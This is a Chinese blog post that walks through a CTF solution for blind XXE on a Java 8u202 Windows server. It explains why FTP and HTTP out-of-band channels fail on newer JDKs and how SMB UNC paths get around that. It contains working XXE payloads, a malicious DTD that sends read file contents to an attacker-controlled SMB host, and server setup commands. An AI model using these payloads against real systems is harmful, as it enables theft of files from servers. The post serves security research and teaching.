文章总结: 本文介绍了一个XXE漏洞挑战的解决方案,重点分析了在Java1.8.0_202环境下如何通过XXE漏洞外带多行内容。作者详细解释了为何高版本JDK无法使用FTP和HTTP协议外带多行数据,最终提出使用SMB协议通过UNC路径进行外带的解决方案。文章提供了具体的payload、搭建SMB服务的方法以及可能遇到的坑点,包括Windows安全策略限制、家宽访问445端口问题以及TreeConnectRequest首字符限制等。最后,作者提供了一个简化的fakeserver脚本,方便测试和验证。
综合评分: 85
文章分类: 漏洞分析,渗透测试,WEB安全
Make XXE Attacks Brilliant Again !!!
原创
killer
漫漫安全路
2025年11月10日 12:01
江西
前言
上个星期出了一个XXE漏洞的小挑战,总计有五个师傅做出来 M00nBack、小可爱、do9gy、珂字辈、Y4tacker其中M00nBack师傅拿到一血。都是预期解下面我公布一下这个题的解法。
建议大家把公众号“漫漫安全路”设为星标!因为公众号现在只对常读和星标的才会推送。操作方法:进入公众点击右上角的【…】,然后点击【设为星标】即可。
理解题目获取考点
题目代码如下
package com.example.xxe.controller;
import org.dom4j.Document;
import org.dom4j.DocumentException;
import org.dom4j.Element;
import org.dom4j.io.SAXReader;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import javax.servlet.http.HttpServletRequest;
import java.io.StringReader;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.CompletableFuture;
@RestController
@RequestMapping("/api/system")
public class BlindXxeController {
@PostMapping("/update-config")
public ResponseEntity<Map<String, Object>> updateSystemConfig(
@RequestParam("configXml") String configXml,
HttpServletRequest request) {
Map<String, Object> response = new HashMap<>();
try {
CompletableFuture.runAsync(() -> {
try {
SAXReader reader = new SAXReader();
Document document = reader.read(new StringReader(configXml));
processConfigDocument(document);
} catch (DocumentException e) {
System.err.println("配置处理错误: " + e.getMessage());
}
});
response.put("status", "success");
response.put("message", "配置更新请求已提交,正在后台处理");
return ResponseEntity.ok(response);
} catch (Exception e) {
response.put("status", "error");
response.put("message", "配置更新请求失败");
response.put("error", "系统内部错误");
return ResponseEntity.internalServerError().body(response);
}
}
private void processConfigDocument(Document document) {
try {
Element root = document.getRootElement();
List<Element> settings = root.elements("setting");
for (Element setting : settings) {
String name = setting.attributeValue("name");
String value = setting.getTextTrim();
System.out.println("更新配置: " + name + " = " + value);
}
System.out.println("配置处理完成,共处理 " + settings.size() + " 个配置项");
} catch (Exception e) {
System.err.println("配置处理异常: " + e.getMessage());
}
}
}
一个标准的XXE漏洞写法,所有错误都被捕获所以首先排除报错XXE。那么只剩下通过外带获取flag的方法,而在JAVA里XXE外带获取文件内容一般使用ftp协议网上有现成的项目。
https://github.com/LandGrey/xxe-ftp-server
我们尝试使用这个项目进行测试
我在后台日志中看到很多人一直在测试linux相关路径,实际上windows和linux是很容易判断的如果你输入一个linux路径然后xxe-ftp-server没有收到ftp请求就说明你请求的那个文件不存在。所以当你请求/etc/passwd收不到请求时你就需要立马反应过来后端服务器可能是windows。
从fake server可以获取到JDK版本为Java1.8.0_202 且目标操作系统为windows。我给的信息里flag位于根目录所以我们继续请求c:/flag、c:/flag.txt进行测试发现也接收不到任何请求。说明flag文件名也是考点需要我们自行获取,XXE是可以列目录的但是我们此处的JDK版本为Java1.8.0_202太高,根据xxe-ftp-server的项目说明是无法获取多行内容的。
至此我们题目转变为windows环境下JDK高版本如何通过OOB获取多行内容。
思考🤔
因为这个题目是我在研究某个产品XXE漏洞衍生出来的结果,所以此处把我当时的思考过程全部写出来。
高版本JDK为何无法外带多行内容
通过查看JDK代码发现关键位置sun.net.ftp.impl.FtpClient#issueCommand
当JDK8u121时代码为
当JDK8u131时代码为
注意到多了一个判断
var1.indexOf(10)!=1这里判断我们FTP命令里如果存在\n则直接抛出异常,所以当JDK>=8u131时通过FTP协议无法外带多行内容。
这里和网上说的jdk<8u162似乎不同,我下载了多个版本的JDK代码得到的判断应该是JDK>=8u131时通过FTP协议无法外带多行内容。
FTP协议这里我还尝试从user、pass里外带内容,但是最后也会经过issueCommand的判断。
http协议外带分析
既然FTP不行自然想到通过http外带,我们先看一个URI的构成部分。
可以外带的部分如下
- userinfo
- hostname
- path
- query
- fragment
userinfo处似乎最有希望,因为安装传统思维此处的user:pass会被base64编码正好可以将换行等特殊字符编码。但是实际上java.net.URL虽然允许http://user:[email protected]格式的URL传入但是发送请求是不会自动处理然后携带Authorization头。
JDK8u65测试
userinfo处可以加入\n但是不会外带信息出来。
JDK8u202测试
直接不会发送http请求,因为在发送请求前会先经过sun.net.www.protocol.http.HttpURLConnection#checkURL检测了整个URI里是否含有\n
所以根据上面的分析http协议没有任何可能外带多行数据,除非有某种特殊的编码方式在进入checkURL之前对多行内容进行编码。但是经过研究并没有发现这种方法。
其他可对外请求协议分析
分析JDK代码java.net.URL#getURLStreamHandler此处从
sun.net.www.protocol.xxx.Handler寻找支持的协议xxx为协议名,所以一共支持下面几种协议
jar协议最后也是调用其他协议所以跳过分析,查看mailto协议实现
此处对外发送数据
也对
\n进行了判断,而且mailto协议没有实现getInputStream方法会直接报错protocol doesn't support input
至此我们已经分析完除file、netdoc协议外的其他协议,那么file、netdoc协议可以外带数据吗?
很容易想到使用UNC路径进行smb协议外带,而题目这里使用的windows正好符合条件。 实际上在bh-eu-13上有人就讲过使用smb外带数据
https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf
但是不知道为何他说不能外带多行数据
通过测试smb实际上是可以外带多行数据
题解
通过上面的分析我们选用file或netdoc协议unc路径进行外带。
四位解题者都是通过搭建一个匿名smb服务,然后tcpdump抓包使用Wireshark解析流量获取flag。先给出一血M00nBack师傅的解。
搭建smb 匿名server,并开启一个http服务放置恶意dtd
安装samba
apt install samba
修改配置文件
/etc/samba/smb.conf
[global]
guest account = nobody
map to guest = Bad User
server role = standalone server
[tmp]
path = /tmp
guest ok = yes
browseable = yes
public = yes
重启
service smbd restart
data.dtd内容如下
<!ENTITY % all "<!ENTITY send SYSTEM 'file://\\\\ip/?x=%f;'>"> %all;
启动web
python3 -m http.server 9991
tcpdump抓包445端⼝的流量
tcpdump -i eth0 port 445 -w smb_445.pcap
发送payload列目录
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % f SYSTEM "netdoc://C:/">
<!ENTITY % dtd SYSTEM "http://ip:9991/data.dtd"> %dtd;
]>
<data>&send;</data>
获取到flag文件路径为
C:/flagxdzqs.txt继续发送payload获取文件内容
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % f SYSTEM "file:///C:/flagxdzqs.txt">
<!ENTITY % dtd SYSTEM "http://ip:9991/data.dtd"> %dtd;
]>
<data>&send;</data>
成功获取到
flag{Make XXE Attacks Brilliant Again}
解题看似很简单其实这里有三个坑点。
坑点一:如果你在自己本地测试的话win11因为安全策略的原因是不能访问匿名的smb服务的,只会发送最开始的认证请求不会发送Tree Connect Request。
坑点二:通过家宽往云服务器445端口发送请求是发不出去的。
有一个解题者就是因为这个原因导致一直以为是云服务器不能开出445端口,换了几个云服务商都不行。后面经过我的提醒才意识到是家宽往外面445发不出请求的原因,不是云服务开不出445.
坑点三:Tree Connect Request的第一个字符不能为;分号。这是我在读取win.ini时发现的如果测试者直接使用file:////ip/%file;读取flag会发现不会发送smb请求。因为flag第一个字符即为;分号,这里我们只需要使用file:////ip/a%file;让第一个字符为其他的即可。
我这里给出一个简单fake server脚本,直接使用impacket库开一个匿名smb服务,然后打开日志即可通过日志查看外带的多行内容。
运行脚本
python3 xxe-smb-server.py public-ip-address web-port
复制输出的payload发送给服务器
fake server收到请求获取flag文件路径为
C:/flagxdzqs.txt
继续请求
C:/flagxdzqs.txt获取到文件内容flag{Make XXE Attacks Brilliant Again}
最后给出xxe-smb-server项目地址
https://github.com/cwkiller/xxe-smb-server
公众号专注于网络安全知识分享,主要为代码审计、攻防实战、WAF绕过等内容每周一篇期待你的关注。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:漫漫安全路 killer《Make XXE Attacks Brilliant Again !!!》